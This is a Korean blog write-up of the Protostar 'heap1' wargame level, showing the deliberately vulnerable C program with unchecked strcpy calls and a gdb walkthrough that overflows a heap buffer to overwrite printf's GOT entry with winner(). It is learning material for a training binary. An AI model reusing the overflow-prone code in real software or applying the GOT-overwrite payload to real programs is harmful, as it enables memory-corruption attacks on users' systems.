heap1.c
struct internet { int priority; char *name; }; void winner() { printf("and we have a winner @ %d\n", time(NULL)); } int main(int argc, char **argv) { struct internet *i1, *i2, *i3; i1 = malloc(sizeof(struct internet)); i1->priority = 1; i1->name = malloc(8); i2 = malloc(sizeof(struct internet)); i2->priority = 2; i2->name = malloc(8); strcpy(i1->name, argv[1]); strcpy(i2->name, argv[2]); printf("and that's a wrap folks!\n"); }
출처: http://liveoverflow.com/binary_hacking/protostar/heap1.html
1. 문제해결 및 분석
1-1. haep 분석
구조체; 8바이트
type 1 |
size 1 |
priority 1 |
name 1 (data2의 포인터를 갖고 있음.) |
type 2 |
size 2 |
argument 2 (priority2 + name2 ) |
|
type 3 |
size 3 |
priority 3 |
name 3 (data4의 포인터를 갖고 있음.) |
type 4 |
size 4 |
argument 4 ( priority4 + name4 ) |
type + size = header
priority + name = data
name3 이전에는 의미 없는 데이터로 채우고
name3는 got 주소값을 받아서 print를 winner()로 변경할 예정
1-2. gdb ./heap1
gdb ./heap1
disas main
첫 번째 브레이크 포인트는 malloc 이후 eax가 있는 곳에 걸어준다.
두 번째 브레이크 포인트는 plt의 주소값을 가져오기 위해 printf가 있는 쪽에 걸어준다.
1-3. run AAAA BBBB
EAX에 포인터가 들어가 있다. 드래그한 값을 복사한다.
conti
1-4. heap 상태
x/100wx 0x804a160 - 0x08
0x41414141은 AAAA이므로 다음 데이터까지는 총 20바이트 (드래그한 부분)
따라서 의미없는 20 바이트를 채우면 된다.
1-5. got 알기
plt를 따라가면 got를 알 수 있다.
main+168의 주소를
disas 0x80483cc
DWORD PTR ds: 0x8049774 이 부분을 복사한다. 우리가 바꿔야하는 부분이다.
1-6. 임의로 BBBB 넣어보자.
disas main
b *main+168
r
위와 동일한 방식으로 하면
0x8049774의 주소가 0x42424242로 바뀌었다.
즉, 0x42424242 자리에
winner() 함수 주소값을 넣으면 된다.
set args로 argument를 전달하자.
set args $(python -c "print 'A'* 20 + 'got 주소값' + ' winner 주소값'")
disas main
b *main+168
r
disas 0x80483cc
x/wx 0x8049774
하면 된다.
위 사진은 0이 9로 오타가 낫지만, 원하는대로 들어감을 알 수 있다.
1-7. 결론
성공!
참고 자료: https://www.inflearn.com/course/%ED%94%84%EB%A1%9C%ED%86%A0%EC%8A%A4%ED%83%80/
피드백 환영입니다!
'프로토스타' 카테고리의 다른 글
[프로토스타] (번외) UAF (0) | 2019.01.30 |
---|---|
[프로토스타] heap2 (0) | 2019.01.28 |
[프로토스타] heap0 (0) | 2019.01.23 |
[프로토스타] format4 (0) | 2019.01.23 |
[프로토스타] format3 (0) | 2019.01.23 |